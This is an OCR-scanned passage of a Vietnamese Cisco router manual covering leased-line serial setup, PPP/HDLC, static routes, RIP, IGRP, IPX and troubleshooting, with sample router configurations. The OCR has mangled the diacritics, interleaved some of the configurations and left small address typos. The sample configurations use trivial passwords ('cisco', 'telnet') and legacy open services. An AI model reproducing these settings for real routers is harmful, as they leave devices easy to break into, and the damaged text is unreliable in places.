trudng hgp trong
phong LAB khi hai
router ndi back-to-
back véi nhau, 01
router la DCE (cép
clock rate) router con
lai la DTE. Clock-rate
nhén gia trj bps.

R1#(config-if)clock rate 64000
R1#(config-if)

R1#(config-if)description
string

Pat mo ta cho serial
port

R1#(config-if)description
Connected to leased line

R1#(config-if)

R1#(config-ifijno shutdown

Bat serial port (néu
can).

R1#(config-ifijno shutdown.

Serial 1/0 is up, line protocol is
up.
R1#(config-if)

R1#show interface s
slot/port

Xem trang thai serial
port.

Béang 4.2
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C4u hinh protocol cho lién két leased line 1a chon protocol dugc st dung dé truyén di
lieu (IP, IPX..), chon WAN protocol cho viéc dong goéi (encapsulation) dii liéu trén dudng
truyén (PPP, HDLC, LAPB..)

Cac protocol IP hay IPX da rat quen thudc véi ching ta, vi thé & day chung t6i chi trinh
bay céac khai niém vé cac WAN protocol PPP, HDLC, LAPB.

Khong gidng nhu IP hay IPX, PPP, HDLC va LAPB la nhiing WAN protocol. Chlng cung
cap cac chiic ning co ban dé truyén di liéu trén mot lién két. Cac lién két nay la céac lién
két point-to-point, serial va la lién k&t synchronous (ngoai triif PPP con c6 thé hd trg cho
lién két asynchronous).

Lién két synchronous la nhiing lién két ma trong dé co su lién lac thudng xuyén gilia cac
thiét bi & hai dau lién k&t dé dong bo (synchronous) téc do clia ching. Nhd vay lién két
synchronous thudng cé dd én dinh cao déng thdi t8i uu dugc bang théng cla lién két.

Hai WAN protocol thudng dung trong lién két leased line doi véi Cisco router 1a HDLC va
PPP (LAPB dudc st dung chii yéu cho céc lién két X25). Trong d6 HDLC la protocol do
Cisco phat trién (khong phai la HDLC chuén cla ITU), chi thich hgp déi vdi router cla
Cisco, con PPP 1a protocol chuén, cé thé st dung linh ddng cho nhiéu loai san phdm
khac nhau.

PPP va HDLC con c6 su khac nhau chi y&u vé cac dac diém co ban ctia mot WAN
protocol, d6 1a sy khac nhau d&c diém c6 c4u tric hay khéng clia protocol.

PPP la mét protocol ¢6 c4u tric, cé nghia la d&c diém ban dau cua protocol da c6 mot
trudng dé xac dinh loai clia packet dugc déng goi béi protocol dé. Trudng dé goi la
trudng “protocol type” c6 thé xac dinh dugc packet 1a IP hay IPX. HDLC khéng dudc goi
la mot WAN protocol cé c4u tric bdi vi Cisco phai bd sung thém céc thong tin khac dé
tao nén truang “protocol type”.

PPP dung cac LCP (PPP Link Control Protocol) va IPCP (IP Control Protocol) dé diéu
khién va dong bo dudng truyén. LCP cung cép céac tinh ndng co ban cho viéc dong bo
ma khong phu thudc vao cac layer 3 protocol truyén trén lién két do. Trong khi IPCP thi
dya vao céac layer 3 protocol dé thuc hién cac chtc nang cu thé nhu: gan dia chi IP, hd
trg ARP.

Céc chuic nidng clia PPP LCP c6 thé ké ra nhu Link Quality Monitoring (LQM) dé cung
cap kha nang error detection; Magic Number dé do tim hién tugng I&p trén dudng
truyén; PAP va CHAP dé thuc hién qué trinh Authentication; Multilink PPP dé hé trg cho
cac multilink.

PPP con hd trg nhiéu thuat toan nén han HDLC, PPP c6 thé ho trg cac thuat toan nén
nhu Predictor, STAC, hay MPPC (Microsoft Point-to-point compression) trong khi HDLC
chi hé trg cho thuat toan STAC.

Pé xac dinh WAN protocol trén dudng truyén va cac théng sé lién quan ching ta sU
dung céc lénh sau:

Lénh M6 ta
Router(config-if)#encapsulation {hdlc | ppp } Chon loai encapsulation la ppp hay
hdlc
Router(config-if)#compress [predictor | stac | Chon loai thuat toan nén trén dudng
mppc} truyén (tuy chon)
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Router# show interface Xac dinh lai trang thai va cdu hinh
cla interface

Router# show compress Xac dinh trang thai nén.

Router# show process Xéac dinh trang thai CPU.

Céc lénh show compress hay show process thudng st dung dé xem trang thai nén va
trang thai CPU sau khi da ap dung lénh compress.

4.2.3 CAu hinh static routing hay hay dynamic routing.

Nhu phan trinh bay dau tién vé khai niém router & phan dau cua tai liéu nay, ta c6 thé
chon mét trong hai co ché routing khi cau hinh Cisco router: static hay dynamic:

Static routing la co ché trong dé ngudi quan tri quyét dinh, gan sdn protocol cing nhu dia
chi dich cho router: dén network ndo thi phdi truyén qua port nao, dia chi la gi.. Cc
théng tin nay chua trong routing table va chi duoc cap nhat hay thay déi bdi ngudi quan tri.

Static routing thich hgp cho cdc hé théng don gian, cdé két néi don gida hai router, trong dé
dudng truyén di liéu da dugc xac dinh truéc.

Dynamic routing dung cdc routing protocol dé tu déng cdp nhét cdc théng tin vé cdc router
xung quanh. Tuy theo dang thudt toan ma co ché cap nhdt théng tin cla cac router sé
khac nhau.

Dynamic routing thudng dung trong cdc hé théng phtic tap hon, trong dé céc router dugc
lién két vdi nhau thanh mét mang IUdi, vi du nhu cac hé théng router cung cép dich vy
internet, hé théng cla céc céng ty da quéc gia.

Trong phan nay, ching tdi sé trinh bay chi tiét cach cau hinh static va dynamic routing.
e CaAu hinh static routing:

Static routing hay static route dugc thiét lap bang tay théng qua lénh ip route nhu sau:
Router(config)#ip route network [mask] {address/interface} [distance] [permanent]

Trong do

network—Destination network hay subnet

mask—Subnet mask
— address—IP address cla next-hop router
— interface—Tén interface (cUa router dang cdu hinh) dé di téi destination network

— distance—Gi& tri cung cdp bdi ngudi quan tri, nham chi dd uu tién (cost) cla
dudng dinh tuyén (tuy chon)

— permanent —Chi dinh rang dudng dinh tuyén nay khéng bi d& bd ngay ca khi
interface bi shutdown.

Vi du (hinh 4.3)
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172.16.1.0

ip route 172.16.1.0 255.255.255.0 172.16.2.1

Hinh 4.3: Vi du vé static route

Lénh ip route 172.16.1.0 255.255.255.0 172.16.2.1 dat tai Router CiscoA xac dinh: dgé
dén dugc network 172.16.1.0 c6 subnet mask la 255.255.255.0 sé phdi qua dia chi
172.16.2.1. Bia chi 172.16.20.1 chinh la dia chi clia next-hop router (router CiscoB).
Dong lénh nay cé thé thay béing dong Iénh khéc tuong duong nhu sau:

Ip route 172.16.1.0 255.255.255.0 serial 0.

Vi serial 0 1a tén interface phai di qua cua router CicsoA dé dén dudc network
172.16.1.0 255.255.255.0.

Gia tri distance mac dinh cua static route la 1. No6i chung cac gia tri distance cla static
route nho hon rét nhiéu so véi cac gia tri cla dynamic route. Vi du nhu RIP ¢ distance la
120, IGRP: 100, OSPF: 110. Diéu do6 co6 nghia la két ndi théng qua static route cé dd hoi
tu va tdc dd nhanh hon so vGi dynamic route. Nguyén nhan cla viéc nay la do static
route khéng can phai mat thgi gian cap nhat bang routing table va lya chon dudng dinh
tuyén trong routing table trudc khi dua ra quyét dinh chuyén dii liéu. D6 ciing 1a ly do tai
sao ma static route thudng dugc chon khi hé thong cé két ndi don gian.

N&u cé nhiéu static route c6 thé dat dén dich, distance dugdc sl dung dé xac dinh cac do
uu tién khac nhau cho tiing dudng. Router sé chon dudng nao cé distance nhd nhat cé
thé dé truyén dii liéu.

Cau Iénh show ip route thudng dugc s dung dé xac dinh cac route da dudc cdu hinh va
cach cdu hinh cac route d6 bang static hay dynamic routing, néi cach khac Iénh nay hién
thi thdng tin vé bang routing table.

Vidu:

CiscoA#show ip route

Codes: C - connected, S - static, | - IGRP, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP
i -1S-1S, L1 - 1S-IS level-1, L2 - IS-IS level-2, * - candidate default
U - per-user static route, o - ODR

Gateway of last resort is not set
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172.16.0.0/16 is variably subnetted, 5 subnets, 3 masks
C 172.16.3.0 /24 is directly connected, ethernet0

C 172.16.2.0 /24 is directly connected, Serial0

S 172.16.1.0 /24 via 172.16.2.1.

e Ca&u hinh dynamic routing:

Pé cdu hinh dynamic routing trudc tién phai bat ché dé cho phép routing va lya chon
routing protocol: RIP, IGRP, EIGRP hay OSPF. Trong ndi dung tai liéu nay chung toi
khong trinh bay dén routing protocol OSPF vi tinh phtc tap cta né.

Pé cho phép ché dd routing duing Iénh sau & global configuration mode:
Router(config)#lp routing

hay

Router(config)#lpx routing

Pé lya chon routing protocol ta st dung Iénh router . Cac c&u hinh céc routing protocol
s& dudc trinh bay tuan ty trong phan sau:

— Cau hinh RIP:

RIP 1a mét distance vector routing protool dugc dinh nghia dau tién bdi RFC
1058. Routing information trong RIP dugc router chuyén sang cac route bén
canh thong qua IP broadcast sit dung UDP protocol va port 520.

RIP ¢6 hai verion: RIP version 1 la classful routing protocol, né khéng hd trg cho
viéc quan ba théng tin vé network mask. RIP version 2 1a classless protocol hd
trg cho CIDR (Classless Interdomain Routing), VLSM (Variable-length subnet
mask), route summarization va security théng qua qua trinh authentication bang
plain text hay ham “bam” MD5.

C4&u hinh RIP routing protocol gém 3 budc ca ban: 1) cho phép router sif dung
RIP protocol; 2) quyét dinh RIP version va 3) xac dinh network va cac interface
chiu anh hudng clia RIP va thudc qua trinh cap nhat routing information..

1. D& cho phép router sii dung RIP protocol, dung lénh router rip

2. Dé quyét dinh version nao dugc sl dung, dung cau Iénh version number Vi
numberla 1 hay 2. Néu khong xac dinh version, 10S software sé méc dinh la
gli RIP version 1 va nhan su cap nhat ca version 1 lan version 2.

3. D& xac dinh network va cac interface chiu &nh hudng cla RIP, énh network
network dugc s dung. Network chi cac network dugc két néi truc ti€p véi cac
interface cua router dang dudgc cdu hinh. Vi du nhu néu router c6 hai
interface véi dia chi tuong Ung la 131.108.4.5 and 131.108.6.9, interface thu
3 c6 dia chi 172.16.3.6. Khi d6 néu sU dung lénh network 131.108.0.0 sé& bao
gdm dudc 2 interface dau va network 131.108.0.0 vao trong qua trinh routing
update cla RIP. Tuy nhién dé bao gom ca interface thi 3 ta phai st dung
thém Iénh: network 172.16.0.0.

Vi du:
RIProuter#configure
Configuring from terminal, memory, or network [terminal]?
Enter configuration commands, one per line. End with CNTL/Z.
RIProuter(config)#router rip
RIProuter(config-router)#version 2
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RIProuter(config-router)#network 131.108.0.0
RIProuter(config-router)#network 172.16.0.0
RIProuter(config-router)#1Z

Ngoai ra hinh 4.4 ciing trinh bay mot vi dy vé cdu hinh RIP cho trudng hgp trong

hinh.
1.4.0.0 26.0.0
3.3.0.0
2.1.0.0
Cisco B Cisco D
Cisco A
router rip
network 1.0.0.0
network 2.0.0.0
2.4.0.0
Hinh 4.4: vi du vé cau hinh RIP.
— CAu hinh IGRP:

IGRP (Interior Gateway Routing Protocol) la routing protocol dugc phat trién tu
gita thap nién 1980 cla Cisco dua trén thuat todn enhanced distance vector.
IGRP ra d&i nham giai quyé&t mot s6 han ché clia RIP khi hé théng trd nén phuc
tap hon

IGRP sl dung internetwork delay, bandwidth, reliability, va load dé xac dinh ra
metric nhd dé ma dua ra dudgc céac thong tin chinh xac hon vé tinh trang clia céc
két ndi trudc khi dua ra quyét dinh. Ngoai ra IGRP c¢6 thé hé trg dén t6i da 255
hop (so vGi 15 chla RIP), va cé do hdi tu nhanh nhd ca ché ‘flash update”. Co
ché flash update g&i cac thay déi clia network ngay khi né xuét hién ma khéng
phai chd thgi gian dinh ky nhu RIP.

IGRP con cé cac chuc nang quan trong nhu split horizon, holdown timer hay
poison reverse dé ngan ngtia hién tugng Iap trén dudng truyén. (hinh 4.5)
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Holddown Timer
Flash Update

—)
ae | ——>

Fails Poison Reverse Split Horizon

Router B will not
advertise to Router A
that it can reach
network 10.3.0.0

Hinh 4.5

Ciing nhu RIP, IGRP sl dung IP broadcast dé Iuu chuyén théng tin vé routing
giia céc router. Tuy nhién IGRP khong dua trén UDP hay TCP ma dya trén cac
transport protocol clia chinh né dé lién két cac thong tin vé routing. giéng nhu
UDP, IGRP khong c6 co ché phan hoi.

Do khéng cé nhiéu version nhu RIP, cdu hinh IGRP chi c6 2 budc:

1. Cho phép router sif dung IGRP: dung Iénh router igrp process-id, process-id
la mot s6 nguyén cé thé nhan gia tri bat ky tir 1 dén 65535 c6é nhiém vy phan
biét cac tién trinh khac nhau cla IGRP trén cung mét router.

2. Xac dinh network va céc interface chiu anh huéng ctia IGRP: tuong tu nhu
RIP, IGRP dung lIénh network network vGi phuang phap tuong tu.

1.4.0.0 26.0.0
3.3.0.0
2.1.0.0
Cisco B Cisco D
Cisco A
router igrp 108
network 1.0.0.0
network 2.0.0.0
2.4.0.0
Hinh 4.6: Vidu vé IGRP.
Vi du:

IGRProuter#configure
Configuring from terminal, memory, or network [terminal]?
Enter configuration commands, one per line. End with CNTL/Z.
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IGRProuter(config)#router igrp 109
IGRProuter(config-router)#network 1.0.0.0
IGRProuter(config-router)#network 2.0.0.0
IGRProuter(config-router)#/Z

Xac nhan va kiém tra cau hinh routing protocol.
Céc lénh sau dung dé kiém tra cdu hinh routing protocol trén router:

o Show ip route (da trinh bay G phan trén)

o Show ip protocoi: trinh bay tat ca cac gia tri vé thdi gian cap nhat routing

table, théng tin vé network co lién quan trén router..

Router> show ip protocol

Routing Protocol is "rip"
Sending update every 30 seconds, next due in 13 seconds
invalid after 180 seconds, hold down 180, flushed after 240
Outgoing update filter list for all interfaces is not set
Incoming update filter list for all interfaces is not set

Redistributing: rip

Routing for Networks

183.8.0.0
144.253.3.0

Routing Information Sources:

Gateway Distance Last Update
183.8.128.12 120 0:00:14
183.8.64.130 120 0:00:19
183.8.128.130 120 0:00:03

Distance: (default is 120)

Hinh 4.7: lénh show ip protocol.

o Debug ip rip: hién thi cac théng tin cap nhat bdi RIP, rat hiju ich dé xac dinh

nguyén nhan clia cac su cd lién quan. (hinh 4.8)

Router= debug ip rip

RIP protocol debugging is on

Router#

RIP: received update from 172.8.128.130 on Serial0
172.8.0.128 in 1 hops
172.8.64.128 in 16 hops (inaccessible)

Rip: received update from 172.8.64.130 on Serialt
172.8.0.128 in 1 hops
172.8.0.128.128in 1 hops

RIP: received update from 172.8.128.130 on Serial0
172.8.0.128in 1 hops
172.8.64.128 in 1 hops

RIP: sending update to 255.255.255.255 via Ethernet0 (172.8.128.2)
subnet 172.8.0.128, metric 2
subnet 172.8.64.128, metric 6
subnet 172.8.128.128, metric 1
network 10.253.0.0, metric 1

network 10.50.0.0, metric 2
network 172.8.0.0, metric 1

RIP: sending update it 255.255.255.255 via Ethernet 1 (10.253.100.202)

Hinh 4.8: Lénh debug ip rip.
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424

o debug ip igrp transaction [ip-address]
o debug ip igrp events [ip-address]

Hai lénh trén hién thi cac théng tin cap nhat vé IGRP, tuong tu nhu I&nh debug ip
rip da trinh bay G trén.

Ca4u hinh default route.

Trong mot sd trudng hgp ta phai s dung cdu hinh default route. Khi hé théng cé
nhiéu k&t ndi qua lai gilia cac router, 8 mdi router phai lia chon mdt network goi
la network mac dinh (default network). Cac destination network clia packet dén
néu khong tim thay trong routing table sé& ty dong dudc chuyén déi qua default
network.

Cau Iénh: Router(config)#ip default-network network-number
F'uhlit: Network

Company X

\ 192168.17.0
é\ Clscu 1 /

Cisco A
Metwork 172.16.0.0 router rip
Subnet Mask 255.255.255.0 network 172.16.0.0

network 192.168.17.0
ip default-network 192.168.17.0

Hinh 4.9: Vi du vé default network.

Cac lénh can thiét cé thé dugc sl dung dé c4u hinh router dudc trinh bay trong béng
sau. D& cac ban tham khao chung tdi ciing trinh bay mot s6 céac Iénh can cau hinh cho
hé théng mang sl dung IPX:

Lénh Mo ta
description descriptive-string M®6 ta chu thich cho interface
ip classless Cho phép router chuyén cac packet dugc

hudng t6i mét subnet khéng c6 trong cac
network két ndi tryc tiép (cung class) t6i
tuyén dudng tét nhat. LAy vi du network
10.0.0.0 véi subnet mask 255.255.255.0.
Gia s rang subnet 10.1.1.0 la subnet cla
interface ethernetO (ip address
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10.1.1.1/24). Gia sU tiép rang néu router
nhan dugc moét packet hudng t6i network
10.2.2.0 va router khéng nhan ra dugc
network dé; néu khdng c6 1énh ip classless
packet sé& bi loai bd, néu c6 ip classless
packet s& dugc chuyén dén tuyén dudng
tdt nhat (thudng la default route)

ip subnet-zero

Cho phép router nhan cac day zero subnet
la hgp 1é.

ipx network network [encapsulation
encapsulation-type [secondary]]

Lénh nay cho phép binds IPX network
number va frame type cho interface. Néu
khéng xac dinh frame type thi 802.3 sé 1a
default, cac type c6 thé gan la

novell-ether Novell Ethernet 802.3

arpa Novell Ethernet Il
sap IEEE 802.2
snap IEEE 802.2 SNAP

secondary dung trong trudng hgp cé nhiéu
hon 1 network IPX. Trong vi du Atlanta c6
02 network IPX 100 st dung frame 902.2

va IPX network 101 s(i dung frame 802.3.

ipx route network network.node

Lénh nay xac dinh ché dd static IPX route.
Trudng dau tién xac dinh IPX network
nuber cla dich. Trudng thd hai xac dinh
IPX address clia netx hop. Théng thudng
vGi ché dd dynamic, routing information sé
dugc ty dong cap nhat théng qua ip
protocol (IPX RIP/SAP), tuy nhién trong
trudng hgp nay do routing protocol da bi
disable ta phai xac dinh cu thé bang tay
théng qua internal va external network
number.

ipx router rip

Khéi dong IPX RIP/SAP routing engine.

ipx routing [node-address]

Khai dong IPX RIP/SAP routing engine,
node-address xac dinh dia chi IPX cla
céng serial cla router

Né&u khdng cbé node-address router sé tu
déngtim ki€m cho qua trinh routing.

ipx sap service-type name network.node
IPX-socket hop-count

Dung trong static route nham xac dinh loai
dich vu, (4=file service, name la tén Server
cla mang dich, network.node la IPX
address cla Server, IPX-socket l1a IPX-
socket number, hop-count la s6 hop dén
serverce. 2000 & day la internal IPX
network number cla file server,
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0000.0000.0001 la internal node number
cla file server.

ipx sap-interval interval interval xac dinh chu trinh router gui IPX
SAP dén c4c interface. Default 1a 1 phut,
interval=0 nghia |a disable.

no auto-summary Tat ché dd auto-summarization clia router.

no ip domain-lookup Tat ché& do tim ki€ém trong domain (phan
giai tén)

no ip routing T&t ché& dd IP routing.

no network network Loai bd mot IPX network number trong

quad trinhIPX RIP routing broadcast.

DR
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4.3 Thidu cu thé.

Céc thi du cu thé sau s& minh hoa cho phan ly thuyét dugc trinh bay & phan trén. V4i
muc dich cung c&p nhiéu vi du minh hoa va gilp cac ban c6 thé tham khao chung toi
trinh bay thém mot s6 vi du vé cach cau hinh cac lién két leased line cho cac hé théng
mang c6 st dung protocol IPX. Céc cau Iénh vé IPX c6 thé tham kh&o ti phan trén.

4.3.1 |P only

Atlanta

IP Network 10.0.0.0 255.0.0.0
e Static

IP Unnumhered

Bositon

IP Network 20.0.0.0 255.0.0.0

Atlanta Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>

!

hostname Atlanta

|

enable secret cisco

!

ip subnet-zero

no ip domain-lookup

|

interface Ethernet0

ip address 10.1.1.1 255.0.0.0

!

interface Serial0

description Leased Line to Boston
ip unnumbered Ethernet0

** encapsulation hdlc 1a gia tri méc dinh, néu si
dung céc router khéac Cicso b8 sung lénh
encapsulation ppp **

!

ip http server

ip classless

ip route 20.0.0.0 255.0.0.0 Serial0
|

line con 0

password console

login

line aux 0 <*>

line vty 0 4

password telnet

login <*>

|

end <*>

Boston Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>
!

hosthame Boston

!

enable secret cisco

!

ip subnet-zero

no ip domain-lookup

!

interface Ethernet0

ip address 20.1.1.1 255.0.0.0
!

interface Serial0

description Leased Line to Atlanta
ip unnumbered Ethernet0

!

ip http server

ip classless

ip route 10.0.0.0 255.0.0.0 Serial0
!

line con 0

password console

login

line aux 0 <*>

line vty 0 4

password telnet

login <*>

!

end <*>

e Dynamic
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Atlanta Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>
|

hostname Atlanta

!

enable secret cisco

!

ip subnet-zero

no ip domain-lookup

!

interface Ethernet0

ip address 10.1.1.1 255.0.0.0
!

interface Serial0

description Leased Line to Boston
ip unnumbered Ethernet0

** encapsulation hdlc 1a gia tri méac dinh, néu s
dung céc router khac Cicso b sung 1énh
encapsulation ppp **

!

router rip

version 2

network 10.0.0.0

no auto-summary

!

ip http server

ip classless

!

line con 0

password console

login

line aux 0 <*>

line vty 0 4

password telnet

login <*>

!

end <*>

Boston Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>
!

hostname Boston

!

enable secret cisco

!

ip subnet-zero

no ip domain-lookup

!

interface Ethernet0

ip address 20.1.1.1 255.0.0.0
!

interface Serial0

description Leased Line to Atlanta
ip unnumbered Ethernet0

!

router rip

version 2

network 20.0.0.0

no auto-summary

!

ip http server

ip classless

!

line con 0

password console

login

line aux 0 <*>

line vty 0 4

password telnet

login <*>

!

end <*>
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43.2 |PXonly
e Static
Atlanta IPX Network AAAA Boston
0000.0can. 1111 0000.0chh. 2222

IPX Metwork 100; Frame 802.2 =
IPX Network 101; Frame 802.3 J
AtlantaF§
1000.0000.0000.0001

:I' IPX Metwork 200; Frame 8023

BostonF5
2000.0000.0000.0001

Atlanta Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>

!

hostname Atlanta

|

enable secret cisco

!

ipx routing 0000.0caa.1111

!

interface Ethernet0

no ip address <*>

ipx network 100 encapsulation SAP
ipx network 101 encapsulation NOVELL-
ETHER secondary

|

interface Serial0

description Leased Line to Boston

no ip address <*>

** encapsulation hdlc |a gia tri mac dinh, néu su
dung céc router khéc Cicso b8 sung lénh
encapsulation ppp **

ipx network AAAA

ipx sap-interval O

|

ipx route 200 AAAA.0000.0cbb.2222
ipx route 2000 AAAA.0000.0cbb.2222
!

ipx router rip

no network AAAA

!

ipx sap 4 BostonFS 2000.0000.0000.0001 451
2

!

line con 0

password console

login

line aux 0 <*>

line vty 0 4 <*>

login <*>

!

Boston Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>

!

hostname Boston

!

enable secret cisco

!

ipx routing 0000.0cbb.2222

!

interface Ethernet0

no ip address <*>

ipx network 200

!

interface Serial0

description Leased Line to Atlanta
no ip address <*>

ipx network AAAA

ipx sap-interval 0

!

ipx route 100 AAAA.0000.0caa.1111
ipx route 1000 AAAA.0000.0caa.1111
!

ipx router rip

no network AAAA

!

ipx sap 4 AtlantaFS 1000.0000.0000.0001 451
2

!

line con 0

password console

login

line aux 0 <*>

line vty 0 4 <*>

login <*>

!

end <*>
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| end <*>

e Dynamic

IPX Network A4d44

Atlanta
0000.0caa.1111

IPX Metwork 100; Frame 802.2
IPX Metwork 101; Frame 802.3

HDLC ox FFP

IPX Metwork 200; Frame 802.3

Boston
0000.0chh.2222

Atlanta Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>

|

hostname Atlanta

|

enable secret cisco

!

ipx routing 0000.0caa.1111

!

interface Ethernet0

no ip address <*>

ipx network 100 encapsulation SAP
ipx network 101 encapsulation NOVELL-
ETHER secondary

|

interface Serial0

description Leased Line to Boston
no ip address <*>

** gncapsulation hdlc 1a gia tri mac dinh, néu sl
dung céc router khac Cicso b8 sung lénh
encapsulation ppp **

ipx network AAAA

|

line con 0

password console

login

line aux 0 <*>

line vty 0 4

login <*>

end <*>

Boston Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>
!

hostname Boston

|

enable secret cisco

!

ipx routing 0000.0cbb.2222

!

interface Ethernet0

no ip address <*>

ipx network 200

!

interface Serial0

description Leased Line to Atlanta
no ip address <*>

ipx network AAAA

|

line con 0

password console

login

line aux 0 <*>

line vty 0 4

login <*>

|

end <*>
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433 |IP &IPX
IP UInnumhered
Atlanta IPX Network Adik Boston
0000.0caa.1111 HDLC or FPP 0000.0chh. 2222
IF Network 10.0.0.0 255.0.0.0 | I IP Metwork 20.0.0.0 255.0.0.0

IPX Neiwork 100; Frame 802.2 :'

IPX Metwork 101; Frame 802.3

AtlantaF§
1000.0000.0000.0001

e Static

B IPX Network 200: Frame 802.3

BostonEF'S
2000.0000.0000.0001

Atlanta Router Configuration

version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>

!

hostname Atlanta

!

enable secret cisco

!

ip subnet-zero

no ip domain-lookup

ipx routing 0000.0caa.1111

!

interface Ethernet0

ip address 10.1.1.1 255.0.0.0

ipx network 100 encapsulation SAP
ipx network 101 encapsulation NOVELL-
ETHER secondary

!

interface Serial0

description Leased Line to Boston

ip unnumbered Ethernet0

** encapsulation hdlc 1a gia tri mac dinh, néu si
dung céc router khéac Cicso b8 sung lénh
encapsulation ppp **

ipx network AAAA

ipx sap-interval O

!

ip http server

ip classless

ip route 20.0.0.0 255.0.0.0 Serial0

!

ipx route 200 AAAA.0000.0cbb.2222
ipx route 2000 AAAA.0000.0cbb.2222
!

ipx router rip

no network AAAA

!

ipx sap 4 BostonFS 2000.0000.0000.0001 451
2

!

line con 0

Boston Router Configuration
version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>

!

hostname Boston

!

enable secret cisco

!

ip subnet-zero

no ip domain-lookup

ipx routing 0000.0cbb.2222

!

interface Ethernet0

ip address 20.1.1.1 255.0.0.0

ipx network 200

!

interface Serial0

description Leased Line to Atlanta
ip unnumbered Ethernet0

ipx network AAAA

ipx sap-interval 0

!

ip http server

ip classless

ip route 10.0.0.0 255.0.0.0 Serial0
!

ipx route 100 AAAA.0000.0caa.1111
ipx route 1000 AAAA.0000.0caa.1111
!

ipx router rip

no network AAAA

!

ipx sap 4 AtlantaFS 1000.0000.0000.0001 451
2

!

line con 0

password console

login

line aux 0 <*>

line vty 0 4

password telnet
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password console login <*>
login I
line aux 0 <*> end <*>
line vty 0 4
password telnet
login <*>
end <*>
e Dynamic
IP Unnumbered
IPX Metwork Addd
Atlanta e Boston
0000.0caa.1111 HDLC or FPP 0000.0chh. 2222
IF Network 10.0.0.0 255.0.0.0 IP MNetwork 20.0.0.0 255.0.0.0

IPX Metwork 100; Frame 802.2
IPX Metwork 101; Frame 802.3

IPX Metwork 200; Frame 802.3

Atlanta Router Configuration
version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>

!

hostname Atlanta

!

enable secret cisco

|

ip subnet-zero

no ip domain-lookup

ipx routing 0000.0caa.1111

|

interface Ethernet0

ip address 10.1.1.1 255.0.0.0

ipx network 100 encapsulation SAP
ipx network 101 encapsulation NOVELL-
ETHER secondary

|

interface Serial0

description Leased Line to Boston
ip unnumbered Ethernet0

** encapsulation hdlc 1a gia tri mac dinh, néu s

dung céc router khéac Cicso b8 sung lénh
encapsulation ppp **

ipx network AAAA

!

router rip

Boston Router Configuration
version 11.2 <*>

service udp-small-servers <*>
service tcp-small-servers <*>
!

hostname Boston

!

enable secret cisco

!

ip subnet-zero

no ip domain-lookup

ipx routing 0000.0cbb.2222

!

interface Ethernet0

ip address 20.1.1.1 255.0.0.0
ipx network 200

!

interface Serial0

description Leased Line to Atlanta
ip unnumbered Ethernet0

ipx network AAAA

!

router rip

version 2

network 20.0.0.0

no auto-summary

!

ip http server

version 2 ip classless
network 10.0.0.0 !

no auto-summary line con 0

! password console
ip http server login

ip classless line aux 0 <*>

! line vty 0 4

line con 0 password telnet
password console login <*>
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login

line aux 0 <*>
line vty 0 4
password telnet
login <*>

!

end <*>

end <*>

SR
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4.4 Khic phuc su co:

Mot sd thong bao su ¢ thudng gap va cach giai quyét su ¢d dugc trinh bay trong bang

sau:

(trang thai lién két dudgc tim thdy bang I&énh show interface interface trong dé interface |a
tén cla interface két nodi véi dudng leased line).

Trang thai cta lién
két

Nguyén nhan

Cach khac phuc

Serial x is down,
line protocol is
down.

Router khéng nhan dugc tin
hién carrier detect (CD) do

mdt trong cac nguyén nhan
sau:

Pudng két ndi clia nha
cung cap bi down hay
khong két ndi vao
DSU/CSU

Cap két néi vao router bi
héng hay sai.

Phan cting cla
DSU/CSU bi hdng

Phan cuing cla router bi
héng

Kiém tra dén LED cla
DSU/CSU dé xac dinh tin hiéu
CD.

Lién lac v6i nha cung céap
dudng truyén

Xem lai tai liéu hudng dan
xem céach két ndi cap va loai
cap da sl dung dung hai
chua.

Ké&t ndi vao céac interface khac.

Serial x is up, line
protocol is down.

Céc sy c6 co thé xay ra la:

C4u hinh sai gitia hai
router G hai dau

Remote router khéng
gUi keepalive packet.

Tryc trac dudng leased
line.

serial clock transmit
external khong dudgc set
trén DSU/CSU.

Local hay remote
DSU/CSU bi hong phan
cung

Router bi hong phan
cung

Thuc hién viéc kiém tra
DSU/CSU loopback. Trong
qué trinh loopback go I1énh
show interface serial x, néu
line protocol chuyén sang
trang thai up, thi 18i thudc nha
cung cép dich vu hay do
remote router bi down

Xem lai tai liéu huéng dan
xem céach két ndi cap va loai
cép da su dung dung hai
chua..

K&t néi vao céac interface
khac.

Kiém tra lai cau hinh.

Serial x is up, line
protocol is up
(looped).

Gay nén do trang thai lap
cla dudng truyén.

Dung Iénh show running —
config dé xem xét c6 interface
nao bi c4u hinh duéi dang loop
hay khéng. Né&u cd, bo trang
thai nay di.
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e Kiém tra xem DSU/CSU cé &
trang thai loop hay khoéng, néu
co, bo trang thai may di..

e Reset DSU/CSU.

e NE&u tat ca cac budc trén
khong giai quyét dugc su cd,
lién lac véi nha cung céap
dudng truyén.

Serial x is Cac nguyén nhan: ¢ Dung lénh show running -
de|n||§tratlvelty e interface d4 bi disable f:onfig dé >‘<em.xét co

: own, line protoco biing Iénh shutdown mt?rfacefao’b! §hudc3wn hay
is up. khéng, néu c6 dung Iénh no

e Céac interface dung shutdown dé enable
chung dia chi IP hay interface.

IPX. .
e Dung Iénh show interface dé

hién thi cac IP address cla tat
ca cac interface. Dung Iénh ip
address dé gan cac dia chi
lai cho cac interface néu co
hién tugng trung dia chi.

SR
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5 Cau hinh router cho cac lién két dial-up.

5.1 GiGi thiéu vé Dial-up

5.1.1 Dial-up la gi?

Thuat ngii dial-up la khai niém quen thudc ddi v6i nhiéu ngudi. Nhat 1a khi internet trg
nén phd bién, dial-up dugc rat nhidu ngudi st dung dé ké&t ndi vao hé thdng théng tin
toan cau nay. Khai niém vé dial up nhin theo géc dd chuyén mén don gian la mot
